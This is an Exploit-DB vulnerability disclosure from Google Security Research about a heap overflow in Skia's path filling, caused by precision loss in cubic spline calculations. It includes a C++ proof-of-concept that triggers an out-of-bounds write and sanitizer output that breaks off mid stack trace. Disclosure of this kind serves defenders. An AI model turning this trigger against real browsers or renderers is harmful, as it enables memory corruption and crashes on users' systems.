Exploit-DB #45098
Description: Skia - Heap Overflow in SkScan::FillPath due to Precision Error
Type: dos
Platform: multiple
Date: 2018-07-27
Author: Google Security Research

Exploit:
There is a heap overflow in Skia when drawing paths with antialiasing turned off. This issue can be triggered in both Google Chrom and Mozilla Firefox by rendering a specially crafted SVG image. PoCs for both browsers are attached.


Details:

When Skia fills a path with antialiasing turned off, SkScan::FillPath gets called
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b[PII_REDACTED]c6647663b&l=609

SkScan::FillPath first checks that the path fits in the current drawing area (Clip). This happens in
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b[PII_REDACTED]c6647663b&l=645

If the clipping test passes at this point, then no other clipping checks will be performed when drawing this path. However, due to precision errors, it is possible that the drawing algorith is going to end up drawing outside of the current drawing area, which results in a heap overflow.

In this case, the precision errors happens when drawing cubic splines. In SkCubicEdge::setCubicWithoutUpdate, various factors needed to draw the spline are calculated. For example, on this line
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=430
when calculating fCDx, some precision will be lost because C and D end up being shifted to the right. Because of that, it is possible that the fCDx value is going to end up smaller than it should be.

The (too small) value of fCDx then gets added to the X coordinate here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=471

it then gets propagated here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=492

and here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?g=0&rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=116

where fX ends up being -2**15 (this corresponds to -0.5 in SkFixed type) and fDX ends up negative. When a spline (now approximated as a line segment) gets drawn in walk_convex_edges or walk_edges, fDX gets added to fX
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b[PII_REDACTED]c6647663b&l=267
then the resulting value gets rounded
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b[PII_REDACTED]c6647663b&l=249
and becomes -1, which leads to an out-of-bounds write.

Example Skia program that demonstrates the issue:
Note: it should be built with ASan enabled.
=================================================

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkBitmap.h"
#include "SkGradientShader.h"

int main (int argc, char * const argv[]) {

  int width = 100;
  int height = 100;

  SkBitmap bitmap;
  bitmap.allocN32Pixels(width, height);
  SkCanvas bitmapcanvas(bitmap);
  SkCanvas *canvas = &bitmapcanvas;

  SkPaint p;

  p.setAntiAlias(false);

  p.setStyle(SkPaint::kFill_Style);

  SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)};
  SkPoint points[2] = {
     SkPoint::Make(0.0f, 0.0f),
     SkPoint::Make(256.0f, 256.0f)
  };
  p.setShader(SkGradientShader::MakeLinear(
             points, colors, nullptr, 2,
             SkShader::kClamp_TileMode, 0, nullptr));

  SkPath path;
  path.moveTo(-30/64.0, -31/64.0);
  path.cubicTo(-31/64.0, -31/64,-31/64.0, -31/64,-31/64.0, 100);
  path.lineTo(100,100);
  path.lineTo(100,-31/64.0);

  canvas->drawPath(path, p);

  return 0; 
}

=================================================

Running this results in the following UBSan error:
../../include/core/SkPixmap.h:386:83: runtime error: left shift of negative value -1
SUMMARY: AddressSanitizer: undefined-behavior ../../include/core/SkPixmap.h:386:83 in 

If the program is compiled without undefined-behavior checks, then running it generates the following ASan report

=================================================================
==18863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x[PII_REDACTED]d0 at pc 0x0000018df91a bp 0x7ffcdc7708d0 sp 0x7ffcdc7708c8
WRITE of size 4 at 0x[PII_REDACTED]d0 thread T0
    #0 0x18df919 in (anonymous namespace)::DstTraits<unsigned int, ((anonymous namespace)::ApplyPremul)0>::store((anonymous namespace)::SkNx<4, float> const&, unsigned int*, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fGradientPriv.h:73:18
    #1 0x18df919 in void (anonymous namespace)::ramp<unsigned int, ((anonymous namespace)::ApplyPremul)0>((anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&, unsigned int*, int, (anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:45
    #2 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadeSpanInternal<unsigned int, ((anonymous namespace)::ApplyPremul)0, (SkShader::TileMode)0>(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:256:13
    #3 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadePremulSpan<unsigned int, ((anonymous namespace)::ApplyPremul)0>(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:209
    #4 0x18d3eb1 in SkLinearGradient::LinearGradient4fContext::shadeSpan(int, int, unsigned int*, int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:181
    #5 0x167213d in SkARGB32_Shader_Blitter::blitH(int, int, int) /u